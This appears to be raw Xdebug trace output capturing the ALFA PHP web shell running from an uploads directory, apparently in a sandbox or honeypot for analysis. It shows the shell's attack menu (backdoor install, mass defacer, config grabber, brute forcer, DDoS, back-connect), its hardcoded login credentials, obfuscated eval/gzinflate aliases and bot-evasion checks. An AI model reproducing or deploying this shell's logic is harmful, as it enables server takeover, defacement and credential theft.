4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wifstopped'
5 450 0 0.072841 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wifstopped'
5 450 1 0.072854 2804360
5 450 R FALSE
5 451 0 0.072867 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wifsignaled'
5 451 1 0.072879 2804360
5 451 R 'pcntl_wifsignaled'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wifsignaled'
5 452 0 0.072904 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wifsignaled'
5 452 1 0.072917 2804360
5 452 R FALSE
5 453 0 0.072930 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wifcontinued'
5 453 1 0.072942 2804360
5 453 R 'pcntl_wifcontinued'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wifcontinued'
5 454 0 0.072966 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wifcontinued'
5 454 1 0.072980 2804360
5 454 R FALSE
5 455 0 0.072992 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wexitstatus'
5 455 1 0.073005 2804360
5 455 R 'pcntl_wexitstatus'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wexitstatus'
5 456 0 0.073028 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wexitstatus'
5 456 1 0.073042 2804360
5 456 R FALSE
5 457 0 0.073054 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wtermsig'
5 457 1 0.073066 2804360
5 457 R 'pcntl_wtermsig'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wtermsig'
5 458 0 0.073090 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wtermsig'
5 458 1 0.073103 2804360
5 458 R FALSE
5 459 0 0.073116 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_wstopsig'
5 459 1 0.073128 2804360
5 459 R 'pcntl_wstopsig'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_wstopsig'
5 460 0 0.073155 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_wstopsig'
5 460 1 0.073169 2804360
5 460 R FALSE
5 461 0 0.073182 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_signal'
5 461 1 0.073194 2804360
5 461 R 'pcntl_signal'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_signal'
5 462 0 0.073226 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_signal'
5 462 1 0.073240 2804360
5 462 R FALSE
5 463 0 0.073253 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_signal_get_handler'
5 463 1 0.073265 2804360
5 463 R 'pcntl_signal_get_handler'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_signal_get_handler'
5 464 0 0.073290 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_signal_get_handler'
5 464 1 0.073303 2804360
5 464 R FALSE
5 465 0 0.073316 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_signal_dispatch'
5 465 1 0.073328 2804360
5 465 R 'pcntl_signal_dispatch'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_signal_dispatch'
5 466 0 0.073352 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_signal_dispatch'
5 466 1 0.073365 2804360
5 466 R FALSE
5 467 0 0.073392 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_get_last_error'
5 467 1 0.073406 2804360
5 467 R 'pcntl_get_last_error'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_get_last_error'
5 468 0 0.073433 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_get_last_error'
5 468 1 0.073446 2804360
5 468 R FALSE
5 469 0 0.073459 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_strerror'
5 469 1 0.073471 2804360
5 469 R 'pcntl_strerror'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_strerror'
5 470 0 0.073495 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_strerror'
5 470 1 0.073508 2804360
5 470 R FALSE
5 471 0 0.073520 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_sigprocmask'
5 471 1 0.073533 2804360
5 471 R 'pcntl_sigprocmask'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_sigprocmask'
5 472 0 0.073557 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_sigprocmask'
5 472 1 0.073570 2804360
5 472 R FALSE
5 473 0 0.073583 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_sigwaitinfo'
5 473 1 0.073595 2804360
5 473 R 'pcntl_sigwaitinfo'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_sigwaitinfo'
5 474 0 0.073619 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_sigwaitinfo'
5 474 1 0.073632 2804360
5 474 R FALSE
5 475 0 0.073645 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_sigtimedwait'
5 475 1 0.073657 2804360
5 475 R 'pcntl_sigtimedwait'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_sigtimedwait'
5 476 0 0.073681 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_sigtimedwait'
5 476 1 0.073694 2804360
5 476 R FALSE
5 477 0 0.073707 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_exec'
5 477 1 0.073719 2804360
5 477 R 'pcntl_exec'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_exec'
5 478 0 0.073742 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_exec'
5 478 1 0.073755 2804360
5 478 R FALSE
5 479 0 0.073768 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_getpriority'
5 479 1 0.073780 2804360
5 479 R 'pcntl_getpriority'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_getpriority'
5 480 0 0.073804 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_getpriority'
5 480 1 0.073818 2804360
5 480 R FALSE
5 481 0 0.073830 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_setpriority'
5 481 1 0.073843 2804360
5 481 R 'pcntl_setpriority'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_setpriority'
5 482 0 0.073871 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_setpriority'
5 482 1 0.073885 2804360
5 482 R FALSE
5 483 0 0.073897 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 'pcntl_async_signals'
5 483 1 0.073910 2804360
5 483 R 'pcntl_async_signals'
4 A /var/www/html/uploads/hw0.php 928 $d = 'pcntl_async_signals'
5 484 0 0.073934 2804328 is_callable 0 /var/www/html/uploads/hw0.php 929 1 'pcntl_async_signals'
5 484 1 0.073947 2804360
5 484 R FALSE
5 485 0 0.073960 2804328 trim 0 /var/www/html/uploads/hw0.php 928 1 ''
5 485 1 0.073972 2804360
5 485 R ''
4 A /var/www/html/uploads/hw0.php 928 $d = ''
4 435 1 0.073995 2801480
4 435 R '<span class="header_show_all">All Functions Accessible</span>'
4 486 0 0.074017 2803272 getenv 0 /var/www/html/uploads/hw0.php 1193 1 'SERVER_SOFTWARE'
4 486 1 0.074034 2803352
4 486 R 'Apache/2.4.52 (Ubuntu)'
3 A /var/www/html/uploads/hw0.php 1210 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3 A /var/www/html/uploads/hw0.php 1216 $key = 'proc'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'phpeval'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'sql'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'dumper'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'coldumper'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'hash'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'connect'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'zoneh'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'dos'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'safe'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'cgishell'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'ssiShell'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'cpcrack'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'portscanner'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'basedir'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'mail'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'ziper'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'deziper'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'IndexChanger'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'pwchanger'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'ShellInjectors'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'php2xml'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'cloudflare'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'Whmcs'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'symlink'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'MassDefacer'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'Crackers'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'searcher'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'config_grabber'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'fakepage'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'archive_manager'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'cmshijacker'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'remotedl'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'inbackdoor'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'whois'
3 A /var/www/html/uploads/hw0.php 1216 $key = 'selfrm'
3 61 1 0.074891 2797536
3 487 0 0.074900 2797536 AlfaNum 1 /var/www/html/uploads/hw0.php 2561 7 8 9 10 7 6 5 4
3 A /var/www/html/uploads/hw0.php 948 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3 A /var/www/html/uploads/hw0.php 949 $alfax = []
3 A /var/www/html/uploads/hw0.php 950 $find = []
3 A /var/www/html/uploads/hw0.php 951 $i = 1
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 1
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 2
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 3
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 4
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 5
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 6
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 7
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 8
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 9
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 952 $alfax[] = 10
3 A /var/www/html/uploads/hw0.php 951 $i++
3 A /var/www/html/uploads/hw0.php 955 $find[] = 8
3 A /var/www/html/uploads/hw0.php 955 $find[] = 9
3 A /var/www/html/uploads/hw0.php 955 $find[] = 10
3 A /var/www/html/uploads/hw0.php 955 $find[] = 7
3 A /var/www/html/uploads/hw0.php 955 $find[] = 6
3 A /var/www/html/uploads/hw0.php 955 $find[] = 5
3 A /var/www/html/uploads/hw0.php 955 $find[] = 4
4 488 0 0.075188 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 488 1 0.075206 2799056
4 488 R FALSE
4 489 0 0.075221 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 489 1 0.075238 2799056
4 489 R FALSE
4 490 0 0.075251 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 490 1 0.075268 2799056
4 490 R FALSE
4 491 0 0.075281 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 491 1 0.075296 2799056
4 491 R TRUE
4 492 0 0.075309 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 492 1 0.075325 2799056
4 492 R TRUE
4 493 0 0.075338 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 493 1 0.075353 2799056
4 493 R TRUE
4 494 0 0.075365 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 494 1 0.075380 2799056
4 494 R TRUE
4 495 0 0.075393 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 495 1 0.075407 2799056
4 495 R TRUE
4 496 0 0.075419 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 496 1 0.075435 2799056
4 496 R TRUE
4 497 0 0.075447 2798984 in_array 0 /var/www/html/uploads/hw0.php 959 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4 497 1 0.075461 2799056
4 497 R TRUE
3 487 1 0.075474 2797536
3 498 0 0.075482 2797536 alfafooter 1 /var/www/html/uploads/hw0.php 2563 0
4 499 0 0.075494 2797536 htmlspecialchars 0 /var/www/html/uploads/hw0.php 2293 1 '/var/www/html/uploads/'
4 499 1 0.075510 2797728
4 499 R '/var/www/html/uploads/'
4 500 0 0.075526 2800608 date 0 /var/www/html/uploads/hw0.php 2306 1 'Y'
4 500 1 0.075560 2800896
4 500 R '2023'
3 498 1 0.077223 2813920
2 60 1 0.077233 2813920
0.077271 2625832
TRACE END [2023-02-12 19:23:21.059629]
data/traces/67eba714f23ee4b7c9caf7136cb983db_trace-1676238284.5421.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:45:10.439971]
1 0 1 0.000152 393608
1 3 0 0.011129 2766016 {main} 1 /var/www/html/uploads/FileManagerFull.php 0 0
1 A /var/www/html/uploads/FileManagerFull.php 9 GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/FileManagerFull.php 19 $CWppUDJxuf = 'function_exists'
1 A /var/www/html/uploads/FileManagerFull.php 20 $aztJtafUXm = 'charCodeAt'
1 A /var/www/html/uploads/FileManagerFull.php 21 $OVpGNqqFZs = 'eval'
1 A /var/www/html/uploads/FileManagerFull.php 22 $psDEwGhsxg = 'gzinflate'
2 4 0 0.011267 2766016 function_exists 0 /var/www/html/uploads/FileManagerFull.php 24 1 'base64_encode'
2 4 1 0.011283 2766056
2 4 R TRUE
2 5 0 0.011299 2766016 function_exists 0 /var/www/html/uploads/FileManagerFull.php 72 1 'base64_decode'
2 5 1 0.011313 2766056
2 5 R TRUE
1 A /var/www/html/uploads/FileManagerFull.php 126 GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'username'
2 6 0 0.011362 2765992 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'username' 0 2
2 6 1 0.011378 2766120
2 6 R 'us'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'us'
1 A /var/www/html/uploads/FileManagerFull.php 133 GLOBALS['DB_NAME']['user'] = 'alfa'
1 A /var/www/html/uploads/FileManagerFull.php 134 GLOBALS['DB_NAME']['user_rand'] = 'username'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'password'
2 7 0 0.011441 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'password' 0 2
2 7 1 0.011455 2766848
2 7 R 'pa'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'pa'
1 A /var/www/html/uploads/FileManagerFull.php 138 GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1 A /var/www/html/uploads/FileManagerFull.php 139 GLOBALS['DB_NAME']['pass_rand'] = 'password'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'safe_mode'
2 8 0 0.011528 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'safe_mode' 0 2
2 8 1 0.011543 2766848
2 8 R 'sa'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'sa'
1 A /var/www/html/uploads/FileManagerFull.php 143 GLOBALS['DB_NAME']['safemode'] = '0'
1 A /var/www/html/uploads/FileManagerFull.php 144 GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'login_page'
2 9 0 0.011605 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'login_page' 0 2
2 9 1 0.011619 2766848
2 9 R 'lo'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'lo'
1 A /var/www/html/uploads/FileManagerFull.php 148 GLOBALS['DB_NAME']['login_page'] = '403'
1 A /var/www/html/uploads/FileManagerFull.php 149 GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'show_icons'
2 10 0 0.011680 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'show_icons' 0 2
2 10 1 0.011694 2766848
2 10 R 'sh'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'sh'
1 A /var/www/html/uploads/FileManagerFull.php 153 GLOBALS['DB_NAME']['show_icons'] = '1'
1 A /var/www/html/uploads/FileManagerFull.php 154 GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'post_encryption'
2 11 0 0.011755 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'post_encryption' 0 2
2 11 1 0.011769 2766848
2 11 R 'po'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'po'
1 A /var/www/html/uploads/FileManagerFull.php 158 GLOBALS['DB_NAME']['post_encryption'] = FALSE
1 A /var/www/html/uploads/FileManagerFull.php 159 GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1 A /var/www/html/uploads/FileManagerFull.php 128 $key = 'cgi_api'
2 12 0 0.011842 2766720 substr 0 /var/www/html/uploads/FileManagerFull.php 130 3 'cgi_api' 0 2
2 12 1 0.011856 2766848
2 12 R 'cg'
1 A /var/www/html/uploads/FileManagerFull.php 130 $prefix = 'cg'
1 A /var/www/html/uploads/FileManagerFull.php 163 GLOBALS['DB_NAME']['cgi_api'] = TRUE
1 A /var/www/html/uploads/FileManagerFull.php 164 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1 A /var/www/html/uploads/FileManagerFull.php 172 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 0 0.011980 2767360 implode 0 /var/www/html/uploads/FileManagerFull.php 172 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 1 0.012002 2767520
2 13 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2 14 0 0.012021 2767456 preg_match 0 /var/www/html/uploads/FileManagerFull.php 172 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
2 14 1 0.012041 2767520
2 14 R 0
2 15 0 0.012056 2767360 define 0 /var/www/html/uploads/FileManagerFull.php 179 2 '__ALFA_VERSION__' '4.1'
2 15 1 0.012073 2767464
2 15 R TRUE
2 16 0 0.012086 2767392 define 0 /var/www/html/uploads/FileManagerFull.php 180 2 '__ALFA_UPDATE__' '2'
2 16 1 0.012101 2767496
2 16 R TRUE
2 17 0 0.012114 2767424 define 0 /var/www/html/uploads/FileManagerFull.php 181 2 '__ALFA_CODE_NAME__' 'Tesla'
2 17 1 0.012128 2767528
2 17 R TRUE
2 18 0 0.012141 2767456 define 0 /var/www/html/uploads/FileManagerFull.php 182 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
2 18 1 0.012155 2767560
2 18 R TRUE
2 19 0 0.012168 2767488 define 0 /var/www/html/uploads/FileManagerFull.php 183 2 '__ALFA_POST_ENCRYPTION__' FALSE
2 19 1 0.012184 2767592
2 19 R TRUE
2 20 0 0.012197 2767520 define 0 /var/www/html/uploads/FileManagerFull.php 184 2 '__ALFA_SECRET_KEY__' ''
2 20 1 0.012212 2767624
2 20 R TRUE
1 A /var/www/html/uploads/FileManagerFull.php 185 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2 21 0 0.012351 2767552 preg_replace 0 /var/www/html/uploads/FileManagerFull.php 511 3 '!\\(\\d+\\)\\s.*!' '' '/var/www/html/uploads/FileManagerFull.php'
2 21 1 0.012369 2767648
2 21 R '/var/www/html/uploads/FileManagerFull.php'
2 22 0 0.012385 2767552 trim 0 /var/www/html/uploads/FileManagerFull.php 511 1 '/var/www/html/uploads/FileManagerFull.php'
2 22 1 0.012398 2767584
2 22 R '/var/www/html/uploads/FileManagerFull.php'
2 23 0 0.012414 2767552 str_replace 0 /var/www/html/uploads/FileManagerFull.php 511 3 '\\' '/' '/var/www/html/uploads/FileManagerFull.php'
2 23 1 0.012429 2767648
2 23 R '/var/www/html/uploads/FileManagerFull.php'
1 A /var/www/html/uploads/FileManagerFull.php 511 GLOBALS['__file_path'] = '/var/www/html/uploads/FileManagerFull.php'
1 A /var/www/html/uploads/FileManagerFull.php 512 $config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2 24 0 0.012478 2767928 session_write_close 0 /var/www/html/uploads/FileManagerFull.php 514 0
2 24 1 0.012491 2767928
2 24 R FALSE
2 25 0 0.012504 2767928 ignore_user_abort 0 /var/www/html/uploads/FileManagerFull.php 515 1 TRUE
2 25 1 0.012526 2767992
2 25 R 0
2 26 0 0.012540 2767960 set_time_limit 0 /var/www/html/uploads/FileManagerFull.php 516 1 0
2 26 1 0.012559 2768024
2 26 R FALSE
2 27 0 0.012572 2767992 ini_set 0 /var/www/html/uploads/FileManagerFull.php 517 2 'memory_limit' '-1'
2 27 1 0.012587 2768096
